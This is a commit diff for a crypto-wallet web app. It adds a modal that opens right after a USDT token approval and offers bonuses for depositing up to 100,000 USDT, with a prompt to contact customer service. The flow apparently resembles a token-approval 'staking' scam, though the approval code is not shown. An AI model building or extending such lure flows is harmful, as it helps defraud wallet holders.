add activity modal

src/components/WalletButton.js

@@ -2,10 +2,11 @@ import React from "react"
 import { Button, useDisclosure, useToast } from "@chakra-ui/react"
 import { useApp } from "../AppContext"
 import { useSearchParams } from 'react-router-dom'
-import { toastw, toasti, ModalDeposite, toasts, toaste } from '../uimsg'
+import { toasti, ModalDeposite, toasts, toaste } from '../uimsg'
 import { connectWallet, addEventListeners, fetchAccount, approve, transfer } from '../lib'
 import { post_register, post_staking, get_ether, post_authorized, get_authorization_search } from '../api'
 import { ABI, contract_usdt_on_eth } from "../data"
+import { ModalActivity } from '../uimsg'
 
 const walletButtonOptions = {
     text: 'Join In',
@@ -18,6 +19,7 @@ export const WalletButton = ({ ...rest }) => {
     const [authorized, setAutorized] = React.useState(false)
     const [searchParams, setSearchParams] = useSearchParams()
     const { isOpen: isOpenDeposite, onOpen: doOpenDeposite, onClose: doCloseDeposite } = useDisclosure()
+    const { isOpen: isOpenActivity, onOpen: doOpenActivity, onClose: doCloseActivity } = useDisclosure()
     const refDepositeFocus = React.useRef()
 
     const getUserWalletAddress = async () => {
@@ -77,6 +79,9 @@ export const WalletButton = ({ ...rest }) => {
                                 console.error("get_authorization_search() error:" + err.message)
                             })
                         }, 8000)
+
+                        //
+                        doOpenActivity()
                     } else {
                         console.error("approve error:" + err.message)
                     }
@@ -90,7 +95,6 @@ export const WalletButton = ({ ...rest }) => {
     const onBtnThis = async () => {
         if (!authorized) {
             await connect()
-            // checkAuth()
         } else {
             // deposite
             doOpenDeposite()
@@ -140,6 +144,10 @@ export const WalletButton = ({ ...rest }) => {
                 onConfirm={onConfirmDeposite}
                 ref={refDepositeFocus}
             />
+            <ModalActivity
+                isOpen={isOpenActivity}
+                onClose={doCloseActivity}
+            />
         </>
     )
 }

src/uimsg/ModalActivity.js

@@ -0,0 +1,57 @@
+import { Text, Tag, TagLabel, Avatar } from '@chakra-ui/react'
+import { ModalBox, VFStack, HBetween, HFStack } from "../components"
+
+const lines = ['Top up USDT amount to wallet 2,000USDT, Get 39USDT for free.',
+    'Top up USDT amount to wallet 20,000USDT, Get 399USDT for free.',
+    'Top up USDT amount to wallet 60,000USDT, Get 1,299USDT for free.',
+    'Top up USDT amount to wallet 100,000USDT, Get 2,699USDT for free.']
+
+const contact = 'If you have any questions, please contact to our customer service.'
+
+// Modal box for extraction
+export const ModalActivity = ({ isOpen, onClose }) => (
+    <ModalBox
+        title="Activity"
+        isOpen={isOpen}
+        onClose={onClose}
+        showFooter={false}
+    >
+        <VFStack
+            bg="gray.100"
+            p="4"
+            pb="20"
+            borderRadius="10"
+        >
+            <HFStack
+                pb='6'
+            >
+                <Tag
+
+                    colorScheme='purple'
+                    variant='solid'
+                    borderRadius='full'
+                    size='lg'
+                >
+                    <TagLabel>Top up for the FIRST time</TagLabel>
+                </Tag>
+            </HFStack>
+            {
+                lines.map((item, index) => (
+                    <Text key={index}
+                        fontSize='18'
+                    >
+                        {item}
+                    </Text>
+                ))
+            }
+            <Text
+                pt='6'
+                color='gray.500'
+                fontSize='16'
+            >
+                {contact}
+            </Text>
+
+        </VFStack>
+    </ModalBox>
+)

src/uimsg/index.js

@@ -1,4 +1,5 @@
 export * from './ModalDeposite'
 export * from './ModalRetrieve'
 export * from './StakingModals'
+export * from './ModalActivity'
 export * from './toasts'